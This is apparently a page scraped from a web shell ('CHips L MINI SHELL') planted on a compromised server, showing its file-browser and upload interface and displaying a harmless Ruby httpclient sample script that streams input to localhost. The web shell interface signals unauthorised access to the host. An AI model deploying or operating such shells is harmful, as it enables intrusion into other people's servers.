CHips L MINI SHELL

CHips L pro

Current Path : /opt/puppetlabs/puppet/lib/ruby/gems/2.5.0/gems/httpclient-2.8.3/sample/
Upload File :
Current File : //opt/puppetlabs/puppet/lib/ruby/gems/2.5.0/gems/httpclient-2.8.3/sample/stream.rb

$:.unshift(File.join('..', 'lib'))
require "httpclient"

c = HTTPClient.new

piper, pipew = IO.pipe
conn = c.post_async("http://localhost:8080/stream", piper)

Thread.new do
  res = conn.pop
  while str = res.content.read(10)
    p str
  end
end

p "type here"
while line = STDIN.gets
  pipew << line
end
pipew.close
sleep 5

Copyright 2K16 - 2K18 Indonesian Hacker Rulez